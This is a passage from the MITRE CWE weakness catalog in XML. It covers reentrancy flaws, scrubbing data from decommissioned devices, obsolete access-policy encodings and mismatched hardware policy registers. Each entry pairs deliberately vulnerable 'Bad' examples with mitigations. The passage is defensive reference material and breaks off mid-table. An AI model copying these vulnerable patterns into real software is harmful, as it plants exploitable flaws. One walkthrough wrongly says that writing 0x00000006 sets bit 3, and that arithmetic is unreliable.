         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
		 <Applicable_Platforms>
			<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
		 </Applicable_Platforms>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
               <Likelihood>Unknown</Likelihood>
               <Note>Exploitation of this weakness can leave the application in an unexpected state and cause variables to be reassigned before the first invocation has completed. This may eventually result in memory corruption or unexpected code execution.</Note>
            </Consequence>
         </Common_Consequences>
		 <Potential_Mitigations>
			<Mitigation>
				<Phase>Architecture and Design</Phase>
				<Description>When architecting a system that will execute untrusted code in response to events, consider executing the untrusted event handlers asynchronously (asynchronous message passing) as opposed to executing them synchronously at the time each event fires. The untrusted code should execute at the start of the next iteration of the thread's message loop. In this way, calls into non-reentrant code are strictly serialized, so that each operation completes fully before the next operation begins. Special attention must be paid to all places where type coercion may result in script execution. Performing all needed coercions at the very beginning of an operation can help reduce the chance of operations executing at unexpected junctures.</Description>
				<Effectiveness>High</Effectiveness>
			</Mitigation>
			<Mitigation>
				<Phase>Implementation</Phase>
				<Description>Make sure the code (e.g., function or class) in question is reentrant by not leveraging non-local data, not modifying its own code, and not calling other non-reentrant code.</Description>
				<Effectiveness>High</Effectiveness>
			</Mitigation>
		 </Potential_Mitigations>
		 <Demonstrative_Examples>
			<Demonstrative_Example>
				<Intro_Text>The implementation of the Widget class in the following C++ code is an example of code that is not designed to be reentrant. If an invocation of a method of Widget inadvertently produces a second nested invocation of a method of Widget, then data member backgroundImage may unexpectedly change during execution of the outer call.</Intro_Text>
				<Example_Code Language="C++" Nature="Bad"><xhtml:div>class Widget<xhtml:br/>{<xhtml:div style="margin-left:1em;">private:<xhtml:div style="margin-left:1em;">Image* backgroundImage;</xhtml:div><xhtml:br/>public:<xhtml:div style="margin-left:1em;">void click()<xhtml:br/>{<xhtml:div style="margin-left:1em;">if (backgroundImage)<xhtml:br/>{<xhtml:div style="margin-left:1em;">backgroundImage-&gt;click();</xhtml:div>}</xhtml:div>}<xhtml:br/><xhtml:br/>void changeBackgroundImage(Image* newImage)<xhtml:br/>{<xhtml:div style="margin-left:1em;">if (backgroundImage)<xhtml:br/>{<xhtml:div style="margin-left:1em;">delete backgroundImage;</xhtml:div>}<xhtml:br/>backgroundImage = newImage;</xhtml:div>}</xhtml:div></xhtml:div>}<xhtml:br/><xhtml:br/>class Image<xhtml:br/>{<xhtml:div style="margin-left:1em;">public:<xhtml:div style="margin-left:1em;">void click()<xhtml:br/>{<xhtml:div style="margin-left:1em;">scriptEngine-&gt;fireOnImageClick();<xhtml:br/>/* perform some operations using "this" pointer */</xhtml:div>}</xhtml:div></xhtml:div>}</xhtml:div></Example_Code>
				<Body_Text>Looking closer at this example, Widget::click() calls backgroundImage-&gt;click(), which in turn calls scriptEngine-&gt;fireOnImageClick(). The code within fireOnImageClick() invokes the appropriate script handler routine as defined by the document being rendered. In this scenario this script routine is supplied by an adversary and this malicious script makes a call to Widget::changeBackgroundImage(), deleting the Image object pointed to by backgroundImage. When control returns to Image::click, the function's backgroundImage "this" pointer (which is the former value of backgroundImage) is a dangling pointer. The root of this weakness is that while one operation on Widget (click) is in the midst of executing, a second operation on the Widget object may be invoked (in this case, the second invocation is a call to different method, namely changeBackgroundImage) that modifies the non-local variable.</Body_Text>
			</Demonstrative_Example>
			<Demonstrative_Example>
				<Intro_Text>This is another example of C++ code that is not designed to be reentrant.</Intro_Text>
				<Example_Code Language="C++" Nature="Bad"><xhtml:div>class Request<xhtml:br/>{<xhtml:div style="margin-left:1em;">private:<xhtml:div style="margin-left:1em;">std::string uri;<xhtml:br/>/* ... */</xhtml:div><xhtml:br/>public:<xhtml:div style="margin-left:1em;">void setup(ScriptObject* _uri)<xhtml:br/>{<xhtml:div style="margin-left:1em;">this-&gt;uri = scriptEngine-&gt;coerceToString(_uri);<xhtml:br/>/* ... */</xhtml:div>}<xhtml:br/><xhtml:br/>void send(ScriptObject* _data)<xhtml:br/>{<xhtml:div style="margin-left:1em;">Credentials credentials = GetCredentials(uri);<xhtml:br/>std::string data = scriptEngine-&gt;coerceToString(_data);<xhtml:br/>doSend(uri, credentials, data);</xhtml:div>}</xhtml:div></xhtml:div>}</xhtml:div></Example_Code>
				<Body_Text>The expected order of operations is a call to Request::setup(), followed by a call to Request::send(). Request::send() calls scriptEngine-&gt;coerceToString(_data) to coerce a script-provided parameter into a string. This operation may produce script execution. For example, if the script language is ECMAScript, arbitrary script execution may result if _data is an adversary-supplied ECMAScript object having a custom toString method. If the adversary's script makes a new call to Request::setup, then when control returns to Request::send, the field uri and the local variable credentials will no longer be consistent with one another. As a result, credentials for one resource will be shared improperly with a different resource. The root of this weakness is that while one operation on Request (send) is in the midst of executing, a second operation may be invoked (setup).</Body_Text>
			</Demonstrative_Example>
		 </Demonstrative_Examples>
		 <Observed_Examples>
			<Observed_Example>
				<Reference>CVE-2014-1772</Reference>
				<Description>In this vulnerability, by registering a malicious onerror handler, an adversary can produce unexpected re-entrance of a CDOMRange object. [REF-1098]</Description>
				<Link>https://www.cve.org/CVERecord?id=CVE-2014-1772</Link>
			</Observed_Example>
			<Observed_Example>
				<Reference>CVE-2018-8174</Reference>
				<Description>This CVE covers several vulnerable scenarios enabled by abuse of the Class_Terminate feature in Microsoft VBScript. In one scenario, Class_Terminate is used to produce an undesirable re-entrance of ScriptingDictionary during execution of that object's destructor. In another scenario, a vulnerable condition results from a recursive entrance of a property setter method. This recursive invocation produces a second, spurious call to the Release method of a reference-counted object, causing a UAF when that object is freed prematurely. This vulnerability pattern has been popularized as "Double Kill". [REF-1099]</Description>
				<Link>https://www.cve.org/CVERecord?id=CVE-2018-8174</Link>
			</Observed_Example>
		 </Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="74"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-1098"/>
            <Reference External_Reference_ID="REF-1099"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>Simon Zuckerbraun</Submission_Name>
               <Submission_Organization>Trend Micro</Submission_Organization>
               <Submission_Date>2018-12-20</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1266" Name="Improper Scrubbing of Sensitive Data from Decommissioned Device" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product does not properly provide a capability for the product administrator to remove sensitive data at the time the product is decommissioned.  A scrubbing capability could be missing, insufficient, or incorrect.</Description>
         <Extended_Description>
            <xhtml:p>When a product is decommissioned - i.e., taken out of service - best practices or regulatory requirements may require the administrator to remove or overwrite sensitive data first, i.e. "scrubbing."  Improper scrubbing of sensitive data from a decommissioned device leaves that data vulnerable to acquisition by a malicious actor. Sensitive data may include, but is not limited to, device/manufacturer proprietary information, user/device credentials, network configurations, and other forms of sensitive data.</xhtml:p>
         </Extended_Description>
			<Related_Weaknesses>
			  <Related_Weakness Nature="ChildOf" CWE_ID="404" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
         <Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
				</Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Policy</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Memory</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>
                 <xhtml:p>Functionality to completely scrub data from a product at the conclusion of its lifecycle should be part of the design phase. Trying to add this function on top of an existing architecture could lead to incomplete removal of sensitive information/data.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Policy</Phase>
               <Description>
                 <xhtml:p>The manufacturer should describe the location(s) where sensitive data is stored and the policies and procedures for its removal. This information may be conveyed, for example, in an Administrators Guide or a Statement of Volatility.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>
                 <xhtml:p>If the capability to wipe sensitive data isn't built-in, the manufacturer may need to provide a utility to scrub sensitive data from storage if that data is located in a place which is non-accessible by the administrator. One example of this could be when sensitive data is stored on an EEPROM for which there is no user/admin interface provided by the system.</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="150"/>
            <Related_Attack_Pattern CAPEC_ID="37"/>
            <Related_Attack_Pattern CAPEC_ID="545"/>
            <Related_Attack_Pattern CAPEC_ID="546"/>
            <Related_Attack_Pattern CAPEC_ID="675"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-1080"/>
         </References>
         <Notes>
            <Note Type="Maintenance">This entry is still under development and will continue to see updates and content improvements.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Paul A. Wortman</Submission_Name>
               <Submission_Organization>Wells Fargo</Submission_Organization>
               <Submission_Date>2020-05-28</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1267" Name="Policy Uses Obsolete Encoding" Abstraction="Base" Structure="Simple" Status="Draft">
   <Description>The product uses an obsolete encoding mechanism to implement access controls.</Description>
   <Extended_Description>
    <xhtml:p>Within a System-On-a-Chip (SoC), various circuits and hardware engines generate transactions for the purpose of accessing (read/write) assets or performing various actions (e.g., reset, fetch, compute, etc.). Among various types of message information, a typical transaction is comprised of source identity (identifying the originator of the transaction) and a destination identity (routing the transaction to the respective entity). Sometimes the transactions are qualified with a Security Token. This Security Token helps the destination agent decide on the set of allowed actions (e.g., access to an asset for reads and writes). A policy encoder is used to map the bus transactions to Security Tokens that in turn are used as access-controls/protection mechanisms. A common weakness involves using an encoding which is no longer trusted, i.e., an obsolete encoding.</xhtml:p>
   </Extended_Description>
	 <Related_Weaknesses>
		<Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1000" Ordinal="Primary"/>
	 </Related_Weaknesses>
   <Applicable_Platforms>
    <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
    <Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
    <Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
    <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
   </Applicable_Platforms>
   <Modes_Of_Introduction>
    <Introduction>
     <Phase>Architecture and Design</Phase>
     </Introduction>
    <Introduction>
     <Phase>Implementation</Phase>   
    </Introduction>
   </Modes_Of_Introduction>
   <Common_Consequences>
    <Consequence>
     <Scope>Confidentiality</Scope>
     <Scope>Integrity</Scope>
     <Scope>Availability</Scope>
     <Scope>Access Control</Scope>
     <Impact>Modify Memory</Impact>
     <Impact>Read Memory</Impact>
     <Impact>Modify Files or Directories</Impact>
     <Impact>Read Files or Directories</Impact>
     <Impact>DoS: Resource Consumption (Other)</Impact>
     <Impact>Execute Unauthorized Code or Commands</Impact>
     <Impact>Gain Privileges or Assume Identity</Impact>
     <Impact>Bypass Protection Mechanism</Impact>
     <Impact>Reduce Reliability</Impact>
     <Likelihood>High</Likelihood>
    </Consequence>
   </Common_Consequences>
   <Potential_Mitigations>
    <Mitigation>
     <Phase>Architecture and Design</Phase>
     <Phase>Implementation</Phase>
     <Description>
      <xhtml:p>Security Token Decoders should be reviewed for design inconsistency and common weaknesses.</xhtml:p>
      <xhtml:p>Access and programming flows should be tested in both pre-silicon and post-silicon testing.</xhtml:p>
     </Description>
     <Effectiveness>High</Effectiveness>
    </Mitigation>
   </Potential_Mitigations>
   <Demonstrative_Examples>
		<Demonstrative_Example>
      <Intro_Text>
       <xhtml:p>For example, consider a system that has four bus masters. The table below provides bus masters, their Security Tokens, and trust assumptions.</xhtml:p>
       <xhtml:table>
        <xhtml:tr>
         <xhtml:th>Bus Master</xhtml:th>
         <xhtml:th>Security Token Decoding</xhtml:th>
         <xhtml:th>Trust Assumptions</xhtml:th>
        </xhtml:tr>
        <xhtml:tr>
         <xhtml:td>Master_0</xhtml:td>
         <xhtml:td>"00"</xhtml:td>
         <xhtml:td>Untrusted</xhtml:td>
        </xhtml:tr>
        <xhtml:tr>
         <xhtml:td>Master_1</xhtml:td>
         <xhtml:td>"01"</xhtml:td>
         <xhtml:td>Trusted</xhtml:td>
        </xhtml:tr>
        <xhtml:tr>
         <xhtml:td>Master_2</xhtml:td>
         <xhtml:td>"10"</xhtml:td>
         <xhtml:td>Untrusted</xhtml:td>
        </xhtml:tr>
        <xhtml:tr>
         <xhtml:td>Master_3</xhtml:td>
         <xhtml:td>"11"</xhtml:td>
         <xhtml:td>Untrusted</xhtml:td>
        </xhtml:tr>
       </xhtml:table>
       <xhtml:p>The policy encoding is to be defined such that Security Token will be used in implemented access-controls. The bits in the bus transaction that contain Security-Token information are Bus_transaction [15:11]. The assets are the AES-Key registers for encryption or decryption. The key of 128 bits is implemented as a set of four, 32-bit registers.</xhtml:p>
       <xhtml:table>
        <xhtml:tr>
         <xhtml:th>Register</xhtml:th>
         <xhtml:th>Field description</xhtml:th>
        </xhtml:tr>
        <xhtml:tr>
         <xhtml:td>AES_ENC_DEC_KEY_0</xhtml:td>
         <xhtml:td>AES key [0:31] for encryption or decryption, Default 0x00000000</xhtml:td>
        </xhtml:tr>
        <xhtml:tr>
         <xhtml:td>AES_ENC_DEC_KEY_1</xhtml:td>
         <xhtml:td>AES key [32:63] for encryption or decryption, Default 0x00000000</xhtml:td>
        </xhtml:tr>
        <xhtml:tr>
         <xhtml:td>AES_ENC_DEC_KEY_2</xhtml:td>
         <xhtml:td>AES key [64:95] for encryption or decryption, Default 0x00000000</xhtml:td>
        </xhtml:tr>
        <xhtml:tr>
         <xhtml:td>AES_ENC_DEC_KEY_4</xhtml:td>
         <xhtml:td>AES key [96:127] for encryption or decryption, Default 0x00000000</xhtml:td>
        </xhtml:tr>
       </xhtml:table>
       <xhtml:p>Below is an example of a policy encoding scheme inherited from a previous project where all "ODD" numbered Security Tokens are trusted.</xhtml:p>
      </Intro_Text>
      <Example_Code Nature="Bad">
        <xhtml:div>If (Bus_transaction[14] == "1")<xhtml:div style="margin-left:1em;">Trusted = "1"</xhtml:div>Else<xhtml:div style="margin-left:1em;">Trusted = "0"</xhtml:div></xhtml:div>
        <xhtml:div>If (trusted)<xhtml:div style="margin-left:1em;">Allow access to AES-Key registers</xhtml:div>Else<xhtml:div style="margin-left:1em;">Deny access to AES-Key registers</xhtml:div></xhtml:div>
      </Example_Code>
		  <Body_Text><xhtml:p>The inherited policy encoding is obsolete and does not work for the new system where an untrusted bus master with an odd Security Token exists in the system, i.e., Master_3 whose Security Token is "11". Based on the old policy, the untrusted bus master (Master_3) has access to the AES-Key registers. To resolve this, a register AES_KEY_ACCESS_POLICY can be defined to provide necessary, access controls:</xhtml:p></Body_Text>
		  <Body_Text>
		    <xhtml:p>New Policy: </xhtml:p>
		    <xhtml:table>
		      <xhtml:tr>
		        <xhtml:td>AES_KEY_ACCESS_POLICY</xhtml:td>
		        <xhtml:td>[31:0] Default 0x00000002 - agent with Security Token "1" has access to AES_ENC_DEC_KEY_0 through AES_ENC_DEC_KEY_4 registers</xhtml:td>
		      </xhtml:tr>
		    </xhtml:table>
		    <xhtml:p>The AES_KEY_ACCESS_POLICY register defines which agents with a Security Token in the transaction can access the AES-key registers. Each bit in this 32-bit register defines a Security Token. There could be a maximum of 32 security Tokens that are allowed access to the AES-key registers. The number of the bit when set (i.e., "1") allows respective action from an agent whose identity matches the number of the bit and, if "0" (i.e., Clear), disallows the respective action to that corresponding agent. Thus, any bus master with Security Token "01" is allowed access to the AES-Key registers. Below is the Pseudo Code for policy encoding:</xhtml:p>
		  </Body_Text>
      <Example_Code Nature="Good">
        <xhtml:div>Security_Token[4:0] = Bus_transaction[15:11]</xhtml:div>
        <xhtml:div>If (AES_KEY_ACCESS_POLICY[Security_Token] == "1")<xhtml:div style="margin-left:1em;">Allow access to AES-Key registers</xhtml:div>Else<xhtml:div style="margin-left:1em;">Deny access to AES-Key registers</xhtml:div></xhtml:div>
      </Example_Code>
		</Demonstrative_Example>
   </Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="121"/>
            <Related_Attack_Pattern CAPEC_ID="681"/>
         </Related_Attack_Patterns>
         <References>
    <Reference External_Reference_ID="REF-1093"/>
   </References>
   <Content_History>
    <Submission>
     <Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
     <Submission_Organization>Intel Corporation</Submission_Organization>
     <Submission_Date>2020-04-18</Submission_Date>
    </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Description, Modes_of_Introduction, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
   </Content_History>
  </Weakness>
      <Weakness ID="1268" Name="Policy Privileges are not Assigned Consistently Between Control and Data Agents" Abstraction="Base" Structure="Simple" Status="Draft">
			<Description>The product's hardware-enforced access control for a particular resource improperly accounts for privilege discrepancies between control and write policies.
			   </Description>
			<Extended_Description>
				<xhtml:p>Integrated circuits and hardware engines may provide access to resources (device-configuration, encryption keys, etc.) belonging to trusted firmware or software modules (commonly set by a BIOS or a bootloader). These accesses are typically controlled and limited by the hardware. Hardware design access control is sometimes implemented using a policy. A policy defines which entity or agent may or may not be allowed to perform an action. When a system implements multiple levels of policies, a control policy may allow direct access to a resource as well as changes to the policies themselves.</xhtml:p>
				<xhtml:p>Resources that include agents in their control policy but not in their write policy could unintentionally allow an untrusted agent to insert itself in the write policy register. Inclusion in the write policy register could allow a malicious or misbehaving agent write access to resources. This action could result in security compromises including leaked information, leaked encryption keys, or modification of device configuration.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
					<Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1000" Ordinal="Primary"/>
			 </Related_Weaknesses>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
				</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
					<Note>This weakness may be introduced during the design of a device when the architect does not comprehensively specify all of the policies required by an agent.</Note>
				</Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
					<Note>This weakness may be introduced during implementation if device policy restrictions do not sufficiently constrain less-privileged clients.</Note>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Scope>Integrity</Scope>
					<Scope>Availability</Scope>
					<Scope>Access Control</Scope>
					<Impact>Modify Memory</Impact>
					<Impact>Read Memory</Impact>
					<Impact>DoS: Crash, Exit, or Restart</Impact>
					<Impact>Execute Unauthorized Code or Commands</Impact>
					<Impact>Gain Privileges or Assume Identity</Impact>
					<Impact>Bypass Protection Mechanism</Impact>
					<Impact>Read Files or Directories</Impact>
					<Impact>Reduce Reliability</Impact>
					<Likelihood>High</Likelihood>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Phase>Implementation</Phase>
					<Description>Access-control-policy definition and programming flow must be sufficiently tested in pre-silicon and post-silicon testing.</Description>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text><xhtml:p>Consider a system of seven registers for storing and configuring an AES key for encryption or decryption.</xhtml:p>
					<xhtml:p>Four 32-bit registers are used to store a 128-bit AES key. The names of those registers are AES_ENC_DEC_KEY_0, AES_ENC_DEC_KEY_1, AES_ENC_DEC_KEY_2, and AES_ENC_DEC_KEY_3. Collectively these are referred to as the AES Key registers.</xhtml:p>
					<xhtml:table>
						<xhtml:tr><xhtml:th>Register</xhtml:th><xhtml:th>Field description</xhtml:th></xhtml:tr>
						<xhtml:tr><xhtml:td>AES_ENC_DEC_KEY_0</xhtml:td><xhtml:td>AES key [0:31] for encryption or decryption<xhtml:br/>Default 0x00000000</xhtml:td></xhtml:tr>
						<xhtml:tr><xhtml:td>AES_ENC_DEC_KEY_1</xhtml:td><xhtml:td>AES key [32:63] for encryption or decryption<xhtml:br/>Default 0x00000000</xhtml:td></xhtml:tr>
						<xhtml:tr><xhtml:td>AES_ENC_DEC_KEY_2</xhtml:td><xhtml:td>AES key [64:95] for encryption or decryption<xhtml:br/>Default 0x00000000</xhtml:td></xhtml:tr>
						<xhtml:tr><xhtml:td>AES_ENC_DEC_KEY_3</xhtml:td><xhtml:td>AES key [96:127] for encryption or decryption<xhtml:br/>Default 0x00000000</xhtml:td></xhtml:tr>
					</xhtml:table>
					<xhtml:p>Three 32-bit registers are used to define access control for the AES-key registers. The names of those registers are AES_KEY_CONTROL_POLICY, AES_KEY_READ_POLICY, and AES_KEY_WRITE_POLICY. Collectively these registers are referred to as the Policy registers, and their functions are explained next.</xhtml:p>
					<xhtml:ul>
						<xhtml:li>The AES_KEY_CONTROL_POLICY register defines which agents can write to the AES_KEY_READ_POLICY or AES_KEY_WRITE_POLICY registers.</xhtml:li>
						<xhtml:li>The AES_KEY_READ_POLICY register defines which agents can read the AES-key registers.</xhtml:li>
						<xhtml:li>The AES_KEY_WRITE_POLICY register defines which agents can write the AES key registers.</xhtml:li>
               		</xhtml:ul>
					<xhtml:p>The preceding three policy registers encode access control at the bit level. Therefore a maximum of 32 agents can be defined (1 bit per agent). The value of the bit when set (i.e., "1") allows the respective action from an agent whose identity corresponds to the number of the bit. If clear (i.e., "0"), it disallows the respective action to that corresponding agent. For example, if bit 0 is set to "1" in the AES_KEY_READ_POLICY register, then agent 0 has permission to read the AES-key registers.</xhtml:p>
					<xhtml:p>Consider that there are 4 agents named Agent 1, Agent 2, Agent 3, and Agent 4. For access control purposes Agent 1 is assigned to bit 1, Agent 2 to bit 2, Agent 3 to bit 3, and Agent 4 to bit 4. All agents are trusted except for Agent 3 who is untrusted. Also consider the register values in the below table.</xhtml:p>
					</Intro_Text>
					<Example_Code Nature="Bad"><xhtml:table>
						<xhtml:tr><xhtml:th>Register</xhtml:th><xhtml:th>Field description</xhtml:th></xhtml:tr>
						<xhtml:tr><xhtml:td>AES_KEY_CONTROL_POLICY</xhtml:td><xhtml:td>Controls which agents can write to READ_POLICY and WRITE_POLICY registers<xhtml:br/>[31:0] Default 0x00000018</xhtml:td></xhtml:tr>
						<xhtml:tr><xhtml:td>AES_KEY_READ_POLICY</xhtml:td><xhtml:td>Controls which agents can read the AES-key registers<xhtml:br/>[31:0] Default 0x00000002</xhtml:td></xhtml:tr>
						<xhtml:tr><xhtml:td>AES_KEY_WRITE_POLICY</xhtml:td><xhtml:td>Controls which agents can write to the AES-key registers<xhtml:br/>[31:0] Default 0x00000004</xhtml:td></xhtml:tr>
					</xhtml:table>
					</Example_Code>
					<Body_Text>
					<xhtml:p>IThe AES_KEY_CONTROL_POLICY register value is 0x00000018. In binary, the lower 8 bits will be 0001 1000, meaning that:</xhtml:p>
					<xhtml:ul>
						<xhtml:li>Bits 3 and 4 are set, thus Agents 3 and 4 will have write access to AES_KEY_READ_POLICY or AES_KEY_WRITE_POLICY.</xhtml:li>
						<xhtml:li>All other bits are clear, hence agents other than 3 and 4 will not have access to write to AES_KEY_READ_POLICY or AES_KEY_WRITE_POLICY.</xhtml:li>
               		</xhtml:ul>
					<xhtml:p>The AES_KEY_READ_POLICY register value is 0x00000002. In binary, the lower 8 bits will be 0000 0010, meaning that:</xhtml:p>
					<xhtml:ul>
						<xhtml:li>Bit 1 is set, thus Agent 1 will be able to read the AES key registers.</xhtml:li>
               		</xhtml:ul>
					<xhtml:p>The AES_KEY_WRITE_POLICY register value is 0x00000004. In binary, the lower 8 bits will be 0000 0100, meaning that:</xhtml:p>
					<xhtml:ul>
						<xhtml:li>Bit 2 is set, thus Agent 2 will be able to write the AES Key registers.</xhtml:li>
               		</xhtml:ul>
					<xhtml:p>The configured access control policy for Agents 1,2,3,4 is summarized in table below.</xhtml:p>
					<xhtml:table>
						<xhtml:tr><xhtml:th>Agent</xhtml:th><xhtml:th>Read</xhtml:th><xhtml:th>Write</xhtml:th><xhtml:th>Control</xhtml:th></xhtml:tr>
						<xhtml:tr><xhtml:td>Agent 1</xhtml:td><xhtml:td>Allowed</xhtml:td><xhtml:td>Not Allowed</xhtml:td><xhtml:td>Not Allowed</xhtml:td></xhtml:tr>
						<xhtml:tr><xhtml:td>Agent 2</xhtml:td><xhtml:td>Not Allowed</xhtml:td><xhtml:td>Allowed</xhtml:td><xhtml:td>Not Allowed</xhtml:td></xhtml:tr>
						<xhtml:tr><xhtml:td>Agent 3</xhtml:td><xhtml:td>Not Allowed</xhtml:td><xhtml:td>Not Allowed</xhtml:td><xhtml:td>Allowed</xhtml:td></xhtml:tr>
						<xhtml:tr><xhtml:td>Agent 4</xhtml:td><xhtml:td>Not Allowed</xhtml:td><xhtml:td>Not Allowed</xhtml:td><xhtml:td>Allowed</xhtml:td></xhtml:tr>
					</xhtml:table>
					<xhtml:p>At this point Agents 3 and 4 can only configure which agents can read AES keys and which agents can write AES keys. Agents 3 and 4 cannot read or write AES keys - just configure access control.</xhtml:p>
					<xhtml:p>Now, recall Agent 3 is untrusted. As explained above, the value of the AES_KEY_CONTROL_POLICY register gives agent 3 access to write to the AES_KEY_WRITE_POLICY register. Agent 3 can use this write access to add themselves to the AES_KEY_WRITE_POLICY register. This is accomplished by Agent 3 writing the value 0x00000006. In binary, the lower 8 bits are 0000 0110, meaning that bit 3 will be set. Thus, giving Agent 3 having the ability to write to the AES Key registers.</xhtml:p>
					<xhtml:p>If the AES_KEY_CONTROL_POLICY register value is 0x00000010, the lower 8 bits will be 0001 0000. This will give Agent 4, a trusted agent, write access to AES_KEY_WRITE_POLICY, but Agent 3, who is untrusted, will not have write access. The Policy register values should therefore be as follows:</xhtml:p>
					</Body_Text>
					<Example_Code Nature="Good"><xhtml:table>
					<xhtml:tr><xhtml:th>Register</xhtml:th><xhtml:th>Field description</xhtml:th></xhtml:tr>
					<xhtml:tr><xhtml:td>AES_KEY_CONTROL_POLICY</xhtml:td><xhtml:td>[31:0] Default 0x00000010</xhtml:td></xhtml:tr>
					<xhtml:tr><xhtml:td>AES_KEY_READ_POLICY</xhtml:td><xhtml:td>[31:0] Default 0x00000002</xhtml:td></xhtml:tr>
